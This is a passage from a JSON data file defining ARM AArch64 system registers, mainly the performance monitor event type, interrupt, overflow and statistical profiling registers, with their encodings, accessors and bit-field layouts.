"P", "msb": 31, "lsb": 31}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "NSK", "msb": 29, "lsb": 29}, {"name": "NSU", "msb": 28, "lsb": 28}, {"name": "NSH", "msb": 27, "lsb": 27}, {"name": "M", "msb": 26, "lsb": 26}, {"name": "MT", "msb": 25, "lsb": 25}, {"name": "SH", "msb": 24, "lsb": 24}, {"name": "evtCount[15:10]", "msb": 15, "lsb": 10}, {"name": "evtCount[9:0]", "msb": 9, "lsb": 0}]}], "width": 64}, {"index": 7, "name": "PMEVTYPER7_EL0", "fullname": "Performance Monitors Event Type Registers", "enc": [3, 3, 14, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 31}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "NSK", "msb": 29, "lsb": 29}, {"name": "NSU", "msb": 28, "lsb": 28}, {"name": "NSH", "msb": 27, "lsb": 27}, {"name": "M", "msb": 26, "lsb": 26}, {"name": "MT", "msb": 25, "lsb": 25}, {"name": "SH", "msb": 24, "lsb": 24}, {"name": "evtCount[15:10]", "msb": 15, "lsb": 10}, {"name": "evtCount[9:0]", "msb": 9, "lsb": 0}]}], "width": 64}, {"index": 8, "name": "PMEVTYPER8_EL0", "fullname": "Performance Monitors Event Type Registers", "enc": [3, 3, 14, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 31}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "NSK", "msb": 29, "lsb": 29}, {"name": "NSU", "msb": 28, "lsb": 28}, {"name": "NSH", "msb": 27, "lsb": 27}, {"name": "M", "msb": 26, "lsb": 26}, {"name": "MT", "msb": 25, "lsb": 25}, {"name": "SH", "msb": 24, "lsb": 24}, {"name": "evtCount[15:10]", "msb": 15, "lsb": 10}, {"name": "evtCount[9:0]", "msb": 9, "lsb": 0}]}], "width": 64}, {"index": 9, "name": "PMEVTYPER9_EL0", "fullname": "Performance Monitors Event Type Registers", "enc": [3, 3, 14, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 31}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "NSK", "msb": 29, "lsb": 29}, {"name": "NSU", "msb": 28, "lsb": 28}, {"name": "NSH", "msb": 27, "lsb": 27}, {"name": "M", "msb": 26, "lsb": 26}, {"name": "MT", "msb": 25, "lsb": 25}, {"name": "SH", "msb": 24, "lsb": 24}, {"name": "evtCount[15:10]", "msb": 15, "lsb": 10}, {"name": "evtCount[9:0]", "msb": 9, "lsb": 0}]}], "width": 64}, {"index": 10, "name": "PMEVTYPER10_EL0", "fullname": "Performance Monitors Event Type Registers", "enc": [3, 3, 14, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 31}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "NSK", "msb": 29, "lsb": 29}, {"name": "NSU", "msb": 28, "lsb": 28}, {"name": "NSH", "msb": 27, "lsb": 27}, {"name": "M", "msb": 26, "lsb": 26}, {"name": "MT", "msb": 25, "lsb": 25}, {"name": "SH", "msb": 24, "lsb": 24}, {"name": "evtCount[15:10]", "msb": 15, "lsb": 10}, {"name": "evtCount[9:0]", "msb": 9, "lsb": 0}]}], "width": 64}, {"index": 11, "name": "PMEVTYPER11_EL0", "fullname": "Performance Monitors Event Type Registers", "enc": [3, 3, 14, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 31}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "NSK", "msb": 29, "lsb": 29}, {"name": "NSU", "msb": 28, "lsb": 28}, {"name": "NSH", "msb": 27, "lsb": 27}, {"name": "M", "msb": 26, "lsb": 26}, {"name": "MT", "msb": 25, "lsb": 25}, {"name": "SH", "msb": 24, "lsb": 24}, {"name": "evtCount[15:10]", "msb": 15, "lsb": 10}, {"name": "evtCount[9:0]", "msb": 9, "lsb": 0}]}], "width": 64}, {"index": 12, "name": "PMEVTYPER12_EL0", "fullname": "Performance Monitors Event Type Registers", "enc": [3, 3, 14, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 31}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "NSK", "msb": 29, "lsb": 29}, {"name": "NSU", "msb": 28, "lsb": 28}, {"name": "NSH", "msb": 27, "lsb": 27}, {"name": "M", "msb": 26, "lsb": 26}, {"name": "MT", "msb": 25, "lsb": 25}, {"name": "SH", "msb": 24, "lsb": 24}, {"name": "evtCount[15:10]", "msb": 15, "lsb": 10}, {"name": "evtCount[9:0]", "msb": 9, "lsb": 0}]}], "width": 64}, {"index": 13, "name": "PMEVTYPER13_EL0", "fullname": "Performance Monitors Event Type Registers", "enc": [3, 3, 14, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 31}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "NSK", "msb": 29, "lsb": 29}, {"name": "NSU", "msb": 28, "lsb": 28}, {"name": "NSH", "msb": 27, "lsb": 27}, {"name": "M", "msb": 26, "lsb": 26}, {"name": "MT", "msb": 25, "lsb": 25}, {"name": "SH", "msb": 24, "lsb": 24}, {"name": "evtCount[15:10]", "msb": 15, "lsb": 10}, {"name": "evtCount[9:0]", "msb": 9, "lsb": 0}]}], "width": 64}, {"index": 14, "name": "PMEVTYPER14_EL0", "fullname": "Performance Monitors Event Type Registers", "enc": [3, 3, 14, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 31}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "NSK", "msb": 29, "lsb": 29}, {"name": "NSU", "msb": 28, "lsb": 28}, {"name": "NSH", "msb": 27, "lsb": 27}, {"name": "M", "msb": 26, "lsb": 26}, {"name": "MT", "msb": 25, "lsb": 25}, {"name": "SH", "msb": 24, "lsb": 24}, {"name": "evtCount[15:10]", "msb": 15, "lsb": 10}, {"name": "evtCount[9:0]", "msb": 9, "lsb": 0}]}], "width": 64}, {"index": 15, "name": "PMEVTYPER15_EL0", "fullname": "Performance Monitors Event Type Registers", "enc": [3, 3, 14, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 31}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "NSK", "msb": 29, "lsb": 29}, {"name": "NSU", "msb": 28, "lsb": 28}, {"name": "NSH", "msb": 27, "lsb": 27}, {"name": "M", "msb": 26, "lsb": 26}, {"name": "MT", "msb": 25, "lsb": 25}, {"name": "SH", "msb": 24, "lsb": 24}, {"name": "evtCount[15:10]", "msb": 15, "lsb": 10}, {"name": "evtCount[9:0]", "msb": 9, "lsb": 0}]}], "width": 64}, {"index": 16, "name": "PMEVTYPER16_EL0", "fullname": "Performance Monitors Event Type Registers", "enc": [3, 3, 14, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 31}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "NSK", "msb": 29, "lsb": 29}, {"name": "NSU", "msb": 28, "lsb": 28}, {"name": "NSH", "msb": 27, "lsb": 27}, {"name": "M", "msb": 26, "lsb": 26}, {"name": "MT", "msb": 25, "lsb": 25}, {"name": "SH", "msb": 24, "lsb": 24}, {"name": "evtCount[15:10]", "msb": 15, "lsb": 10}, {"name": "evtCount[9:0]", "msb": 9, "lsb": 0}]}], "width": 64}, {"index": 17, "name": "PMEVTYPER17_EL0", "fullname": "Performance Monitors Event Type Registers", "enc": [3, 3, 14, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 31}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "NSK", "msb": 29, "lsb": 29}, {"name": "NSU", "msb": 28, "lsb": 28}, {"name": "NSH", "msb": 27, "lsb": 27}, {"name": "M", "msb": 26, "lsb": 26}, {"name": "MT", "msb": 25, "lsb": 25}, {"name": "SH", "msb": 24, "lsb": 24}, {"name": "evtCount[15:10]", "msb": 15, "lsb": 10}, {"name": "evtCount[9:0]", "msb": 9, "lsb": 0}]}], "width": 64}, {"index": 18, "name": "PMEVTYPER18_EL0", "fullname": "Performance Monitors Event Type Registers", "enc": [3, 3, 14, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 31}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "NSK", "msb": 29, "lsb": 29}, {"name": "NSU", "msb": 28, "lsb": 28}, {"name": "NSH", "msb": 27, "lsb": 27}, {"name": "M", "msb": 26, "lsb": 26}, {"name": "MT", "msb": 25, "lsb": 25}, {"name": "SH", "msb": 24, "lsb": 24}, {"name": "evtCount[15:10]", "msb": 15, "lsb": 10}, {"name": "evtCount[9:0]", "msb": 9, "lsb": 0}]}], "width": 64}, {"index": 19, "name": "PMEVTYPER19_EL0", "fullname": "Performance Monitors Event Type Registers", "enc": [3, 3, 14, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 31}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "NSK", "msb": 29, "lsb": 29}, {"name": "NSU", "msb": 28, "lsb": 28}, {"name": "NSH", "msb": 27, "lsb": 27}, {"name": "M", "msb": 26, "lsb": 26}, {"name": "MT", "msb": 25, "lsb": 25}, {"name": "SH", "msb": 24, "lsb": 24}, {"name": "evtCount[15:10]", "msb": 15, "lsb": 10}, {"name": "evtCount[9:0]", "msb": 9, "lsb": 0}]}], "width": 64}, {"index": 20, "name": "PMEVTYPER20_EL0", "fullname": "Performance Monitors Event Type Registers", "enc": [3, 3, 14, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 31}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "NSK", "msb": 29, "lsb": 29}, {"name": "NSU", "msb": 28, "lsb": 28}, {"name": "NSH", "msb": 27, "lsb": 27}, {"name": "M", "msb": 26, "lsb": 26}, {"name": "MT", "msb": 25, "lsb": 25}, {"name": "SH", "msb": 24, "lsb": 24}, {"name": "evtCount[15:10]", "msb": 15, "lsb": 10}, {"name": "evtCount[9:0]", "msb": 9, "lsb": 0}]}], "width": 64}, {"index": 21, "name": "PMEVTYPER21_EL0", "fullname": "Performance Monitors Event Type Registers", "enc": [3, 3, 14, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 31}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "NSK", "msb": 29, "lsb": 29}, {"name": "NSU", "msb": 28, "lsb": 28}, {"name": "NSH", "msb": 27, "lsb": 27}, {"name": "M", "msb": 26, "lsb": 26}, {"name": "MT", "msb": 25, "lsb": 25}, {"name": "SH", "msb": 24, "lsb": 24}, {"name": "evtCount[15:10]", "msb": 15, "lsb": 10}, {"name": "evtCount[9:0]", "msb": 9, "lsb": 0}]}], "width": 64}, {"index": 22, "name": "PMEVTYPER22_EL0", "fullname": "Performance Monitors Event Type Registers", "enc": [3, 3, 14, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 31}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "NSK", "msb": 29, "lsb": 29}, {"name": "NSU", "msb": 28, "lsb": 28}, {"name": "NSH", "msb": 27, "lsb": 27}, {"name": "M", "msb": 26, "lsb": 26}, {"name": "MT", "msb": 25, "lsb": 25}, {"name": "SH", "msb": 24, "lsb": 24}, {"name": "evtCount[15:10]", "msb": 15, "lsb": 10}, {"name": "evtCount[9:0]", "msb": 9, "lsb": 0}]}], "width": 64}, {"index": 23, "name": "PMEVTYPER23_EL0", "fullname": "Performance Monitors Event Type Registers", "enc": [3, 3, 14, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 31}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "NSK", "msb": 29, "lsb": 29}, {"name": "NSU", "msb": 28, "lsb": 28}, {"name": "NSH", "msb": 27, "lsb": 27}, {"name": "M", "msb": 26, "lsb": 26}, {"name": "MT", "msb": 25, "lsb": 25}, {"name": "SH", "msb": 24, "lsb": 24}, {"name": "evtCount[15:10]", "msb": 15, "lsb": 10}, {"name": "evtCount[9:0]", "msb": 9, "lsb": 0}]}], "width": 64}, {"index": 24, "name": "PMEVTYPER24_EL0", "fullname": "Performance Monitors Event Type Registers", "enc": [3, 3, 14, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 31}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "NSK", "msb": 29, "lsb": 29}, {"name": "NSU", "msb": 28, "lsb": 28}, {"name": "NSH", "msb": 27, "lsb": 27}, {"name": "M", "msb": 26, "lsb": 26}, {"name": "MT", "msb": 25, "lsb": 25}, {"name": "SH", "msb": 24, "lsb": 24}, {"name": "evtCount[15:10]", "msb": 15, "lsb": 10}, {"name": "evtCount[9:0]", "msb": 9, "lsb": 0}]}], "width": 64}, {"index": 25, "name": "PMEVTYPER25_EL0", "fullname": "Performance Monitors Event Type Registers", "enc": [3, 3, 14, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 31}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "NSK", "msb": 29, "lsb": 29}, {"name": "NSU", "msb": 28, "lsb": 28}, {"name": "NSH", "msb": 27, "lsb": 27}, {"name": "M", "msb": 26, "lsb": 26}, {"name": "MT", "msb": 25, "lsb": 25}, {"name": "SH", "msb": 24, "lsb": 24}, {"name": "evtCount[15:10]", "msb": 15, "lsb": 10}, {"name": "evtCount[9:0]", "msb": 9, "lsb": 0}]}], "width": 64}, {"index": 26, "name": "PMEVTYPER26_EL0", "fullname": "Performance Monitors Event Type Registers", "enc": [3, 3, 14, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 31}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "NSK", "msb": 29, "lsb": 29}, {"name": "NSU", "msb": 28, "lsb": 28}, {"name": "NSH", "msb": 27, "lsb": 27}, {"name": "M", "msb": 26, "lsb": 26}, {"name": "MT", "msb": 25, "lsb": 25}, {"name": "SH", "msb": 24, "lsb": 24}, {"name": "evtCount[15:10]", "msb": 15, "lsb": 10}, {"name": "evtCount[9:0]", "msb": 9, "lsb": 0}]}], "width": 64}, {"index": 27, "name": "PMEVTYPER27_EL0", "fullname": "Performance Monitors Event Type Registers", "enc": [3, 3, 14, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 31}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "NSK", "msb": 29, "lsb": 29}, {"name": "NSU", "msb": 28, "lsb": 28}, {"name": "NSH", "msb": 27, "lsb": 27}, {"name": "M", "msb": 26, "lsb": 26}, {"name": "MT", "msb": 25, "lsb": 25}, {"name": "SH", "msb": 24, "lsb": 24}, {"name": "evtCount[15:10]", "msb": 15, "lsb": 10}, {"name": "evtCount[9:0]", "msb": 9, "lsb": 0}]}], "width": 64}, {"index": 28, "name": "PMEVTYPER28_EL0", "fullname": "Performance Monitors Event Type Registers", "enc": [3, 3, 14, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 31}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "NSK", "msb": 29, "lsb": 29}, {"name": "NSU", "msb": 28, "lsb": 28}, {"name": "NSH", "msb": 27, "lsb": 27}, {"name": "M", "msb": 26, "lsb": 26}, {"name": "MT", "msb": 25, "lsb": 25}, {"name": "SH", "msb": 24, "lsb": 24}, {"name": "evtCount[15:10]", "msb": 15, "lsb": 10}, {"name": "evtCount[9:0]", "msb": 9, "lsb": 0}]}], "width": 64}, {"index": 29, "name": "PMEVTYPER29_EL0", "fullname": "Performance Monitors Event Type Registers", "enc": [3, 3, 14, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 31}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "NSK", "msb": 29, "lsb": 29}, {"name": "NSU", "msb": 28, "lsb": 28}, {"name": "NSH", "msb": 27, "lsb": 27}, {"name": "M", "msb": 26, "lsb": 26}, {"name": "MT", "msb": 25, "lsb": 25}, {"name": "SH", "msb": 24, "lsb": 24}, {"name": "evtCount[15:10]", "msb": 15, "lsb": 10}, {"name": "evtCount[9:0]", "msb": 9, "lsb": 0}]}], "width": 64}, {"index": 30, "name": "PMEVTYPER30_EL0", "fullname": "Performance Monitors Event Type Registers", "enc": [3, 3, 14, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 31}, {"name": "U", "msb": 30, "lsb": 30}, {"name": "NSK", "msb": 29, "lsb": 29}, {"name": "NSU", "msb": 28, "lsb": 28}, {"name": "NSH", "msb": 27, "lsb": 27}, {"name": "M", "msb": 26, "lsb": 26}, {"name": "MT", "msb": 25, "lsb": 25}, {"name": "SH", "msb": 24, "lsb": 24}, {"name": "evtCount[15:10]", "msb": 15, "lsb": 10}, {"name": "evtCount[9:0]", "msb": 9, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "PMINTENCLR_EL1", "fullname": "Performance Monitors Interrupt Enable Clear register", "enc": [3, 0, 9, 14, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "C", "msb": 31, "lsb": 31}, {"name": "P", "msb": 30, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "PMINTENSET_EL1", "fullname": "Performance Monitors Interrupt Enable Set register", "enc": [3, 0, 9, 14, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "C", "msb": 31, "lsb": 31}, {"name": "P", "msb": 30, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "PMMIR_EL1", "fullname": "Performance Monitors Machine Identification Register", "enc": [3, 0, 9, 14, 6], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "BUS_WIDTH", "msb": 19, "lsb": 16}, {"name": "BUS_SLOTS", "msb": 15, "lsb": 8}, {"name": "SLOTS", "msb": 7, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "PMOVSCLR_EL0", "fullname": "Performance Monitors Overflow Flag Status Clear Register", "enc": [3, 3, 9, 12, 3], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "C", "msb": 31, "lsb": 31}, {"name": "P", "msb": 30, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "PMOVSSET_EL0", "fullname": "Performance Monitors Overflow Flag Status Set register", "enc": [3, 3, 9, 14, 3], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "C", "msb": 31, "lsb": 31}, {"name": "P", "msb": 30, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "PMSCR_EL1", "fullname": "Statistical Profiling Control Register (EL1)", "enc": [3, 0, 9, 9, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "PCT", "msb": 7, "lsb": 6}, {"name": "PCT", "msb": 7, "lsb": 6}, {"name": "TS", "msb": 5, "lsb": 5}, {"name": "PA", "msb": 4, "lsb": 4}, {"name": "CX", "msb": 3, "lsb": 3}, {"name": "E1SPE", "msb": 1, "lsb": 1}, {"name": "E0SPE", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "PMSCR_EL12", "fullname": "Statistical Profiling Control Register (EL1)", "enc": [3, 5, 9, 9, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "PCT", "msb": 7, "lsb": 6}, {"name": "PCT", "msb": 7, "lsb": 6}, {"name": "TS", "msb": 5, "lsb": 5}, {"name": "PA", "msb": 4, "lsb": 4}, {"name": "CX", "msb": 3, "lsb": 3}, {"name": "E1SPE", "msb": 1, "lsb": 1}, {"name": "E0SPE", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "PMSCR_EL1", "fullname": "Statistical Profiling Control Register (EL2)", "enc": [3, 0, 9, 9, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "PCT", "msb": 7, "lsb": 6}, {"name": "TS", "msb": 5, "lsb": 5}, {"name": "PA", "msb": 4, "lsb": 4}, {"name": "CX", "msb": 3, "lsb": 3}, {"name": "E2SPE", "msb": 1, "lsb": 1}, {"name": "E0HSPE", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "PMSCR_EL2", "fullname": "Statistical Profiling Control Register (EL2)", "enc": [3, 4, 9, 9, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "PCT", "msb": 7, "lsb": 6}, {"name": "TS", "msb": 5, "lsb": 5}, {"name": "PA", "msb": 4, "lsb": 4}, {"name": "CX", "msb": 3, "lsb": 3}, {"name": "E2SPE", "msb": 1, "lsb": 1}, {"name": "E0HSPE", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "PMSELR_EL0", "fullname": "Performance Monitors Event Counter Selection Register", "enc": [3, 3, 9, 12, 5], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "SEL", "msb": 4, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "PMSEVFR_EL1", "fullname": "Sampling Event Filter Register", "enc": [3, 0, 9, 9, 5], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "E[63]", "msb": 63, "lsb": 63}, {"name": "E[62]", "msb": 62, "lsb": 62}, {"name": "E[61]", "msb": 61, "lsb": 61}, {"name": "E[60]", "msb": 60, "lsb": 60}, {"name": "E[59]", "msb": 59, "lsb": 59}, {"name": "E[58]", "msb": 58, "lsb": 58}, {"name": "E[57]", "msb": 57, "lsb": 57}, {"name": "E[56]", "msb": 56, "lsb": 56}, {"name": "E[55]", "msb": 55, "lsb": 55}, {"name": "E[54]", "msb": 54, "lsb": 54}, {"name": "E[53]", "msb": 53, "lsb": 53}, {"name": "E[52]", "msb": 52, "lsb": 52}, {"name": "E[51]", "msb": 51, "lsb": 51}, {"name": "E[50]", "msb": 50, "lsb": 50}, {"name": "E[49]", "msb": 49, "lsb": 49}, {"name": "E[]", "msb": 63, "lsb": 48}, {"name": "E[48]", "msb": 48, "lsb": 48}, {"name": "E[31]", "msb": 31, "lsb": 31}, {"name": "E[30]", "msb": 30, "lsb": 30}, {"name": "E[29]", "msb": 29, "lsb": 29}, {"name": "E[28]", "msb": 28, "lsb": 28}, {"name": "E[27]", "msb": 27, "lsb": 27}, {"name": "E[26]", "msb": 26, "lsb": 26}, {"name": "E[25]", "msb": 25, "lsb": 25}, {"name": "E[24]", "msb": 24, "lsb": 24}, {"name": "E[18]", "msb": 18, "lsb": 18}, {"name": "E[17]", "msb": 17, "lsb": 17}, {"name": "E[15]", "msb": 15, "lsb": 15}, {"name": "E[14]", "msb": 14, "lsb": 14}, {"name": "E[13]", "msb": 13, "lsb": 13}, {"name": "E[12]", "msb": 12, "lsb": 12}, {"name": "E[11]", "msb": 11, "lsb": 11}, {"name": "E[7]", "msb": 7, "lsb": 7}, {"name": "E[6]", "msb": 6, "lsb": 6}, {"name": "E[5]", "msb": 5, "lsb": 5}, {"name": "E[3]", "msb": 3, "lsb": 3}, {"name": "E[1]", "msb": 1, "lsb": 1}]}], "width": 64}, {"index": 0, "name": "PMSFCR_EL1", "fullname": "Sampling Filter Control Register", "enc": [3, 0, 9, 9, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "ST", "msb": 18, "lsb": 18}, {"name": "LD", "msb": 17, "lsb": 17}, {"name": "B", "msb": 16, "lsb": 16}, {"name": "FnE", "msb": 3, "lsb": 3}, {"name": "FL", "msb": 2, "lsb": 2}, {"name": "FT", "msb": 1, "lsb": 1}, {"name": "FE", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "PMSICR_EL1", "fullname": "Sampling Interval Counter Register", "enc": [3, 0, 9, 9, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "ECOUNT", "msb": 63, "lsb": 56}, {"name": "COUNT", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "PMSIDR_EL1", "fullname": "Sampling Profiling ID Register", "enc": [3, 0, 9, 9, 7], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "Format", "msb": 23, "lsb": 20}, {"name": "CountSize", "msb": 19, "lsb": 16}, {"name": "MaxSize", "msb": 15, "lsb": 12}, {"name": "Interval", "msb": 11, "lsb": 8}, {"name": "FnE", "msb": 6, "lsb": 6}, {"name": "ERnd", "msb": 5, "lsb": 5}, {"name": "LDS", "msb": 4, "lsb": 4}, {"name": "ArchInst", "msb": 3, "lsb": 3}, {"name": "FL", "msb": 2, "lsb": 2}, {"name": "FT", "msb": 1, "lsb": 1}, {"name": "FE", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "PMSIRR_EL1", "fullname": "Sampling Interval Reload Register", "enc": [3, 0, 9, 9, 3], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "INTERVAL", "msb": 31, "lsb": 8}, {"name": "RND", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "PMSLATFR_EL1", "fullname": "Sampling Latency Filter Register", "enc": [3, 0, 9, 9, 6], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "MINLAT", "msb": 11, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "PMSNEVFR_EL1", "fullname": "Sampling Inverted Event Filter Register", "enc": [3, 0, 9, 9, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "PMSNEVFR_EL1", "fields": [{"name": "E[63]", "msb": 63, "lsb": 63}, {"name": "E[62]", "msb": 62, "lsb": 62}, {"name": "E[61]", "msb": 61, "lsb": 61}, {"name": "E[60]", "msb": 60, "lsb": 60}, {"name": "E[59]", "msb": 59, "lsb": 59}, {"name": "E[58]", "msb": 58, "lsb": 58}, {"name": "E[57]", "msb": 57, "lsb": 57}, {"name": "E[56]", "msb": 56, "lsb": 56}, {"name": "E[55]", "msb": 55, "lsb": 55}, {"name": "E[54]", "msb": 54, "lsb": 54}, {"name": "E[53]", "msb": 53, "lsb": 53}, {"name": "E[52]", "msb": 52, "lsb": 52}, {"name": "E[51]", "msb": 51, "lsb": 51}, {"name": "E[50]", "msb": 50, "lsb": 50}, {"name": "E[49]", "msb": 49, "lsb": 49}, {"name": "E[]", "msb": 63, "lsb": 48}, {"name": "E[48]", "msb": 48, "lsb": 48}, {"name": "E[31]", "msb": 31, "lsb": 31}, {"name": "E[30]", "msb": 30, "lsb": 30}, {"name": "E[29]", "msb": 29, "lsb": 29}, {"name": "E[28]", "msb": 28, "lsb": 28}, {"name": "E[27]", "msb": 27, "lsb": 27}, {"name": "E[26]", "msb": 26, "lsb": 26}, {"name": "E[25]", "msb": 25, "lsb": 25}, {"name": "E[24]", "msb": 24, "lsb": 24}, {"name": "E[18]", "msb": 18, "lsb": 18}, {"name": "E[17]", "msb": 17, "lsb": 17}, {"name": "E[15]", "msb": 15, "lsb": 15}, {"name": "E[14]", "msb": 14, "lsb": 14}, {"name": "E[13]", "msb": 13, "lsb": 13}, {"name": "E[12]", "msb": 12, "lsb": 12}, {"name": "E[11]", "msb": 11, "lsb": 11}, {"name": "E[7]", "msb": 7, "lsb": 7}, {"name": "E[6]", "msb": 6, "lsb": 6}, {"name": "E[5]", "msb": 5, "lsb": 5}, {"name": "E[3]", "msb": 3, "lsb": 3}, {"name": "E[1]", "msb": 1, "lsb": 1}]}], "width": 64}, {"index": 0, "name": "PMSWINC_EL0", "fullname": "Performance Monitors Software Increment register", "enc": [3, 3, 9, 12, 4], "accessors": ["MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 30, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "PMUSERENR_EL0", "fullname": "Performance Monitors User Enable Register", "enc": [3, 3, 9, 14, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "ER", "msb": 3, "lsb": 3}, {"name": "CR", "msb": 2, "lsb": 2}, {"name": "SW", "msb": 1, "lsb": 1}, {"name": "EN", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "PMXEVCNTR_EL0", "fullname": "Performance Monitors Selected Event Count Register", "enc": [3, 3, 9, 13, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}, {"fields": [{"name": "PMEVCNTR", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "PMXEVTYPER_EL0", "fullname": "Performance Monitors Selected Event Type Register", "enc": [3, 3, 9, 13, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "REVIDR_EL1", "fullname": "Revision ID Register", "enc": [3, 0, 0, 0, 6], "accessors": ["MRS"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "RGSR_EL1", "fullname": "Random Allocation Tag Seed Register.", "enc": [3, 0, 1, 0, 5], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "SEED", "msb": 23, "lsb": 8}, {"name": "TAG", "msb": 3, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RMR_EL1", "fullname": "Reset Management Register (EL1)", "enc": [3, 0, 12, 0, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": 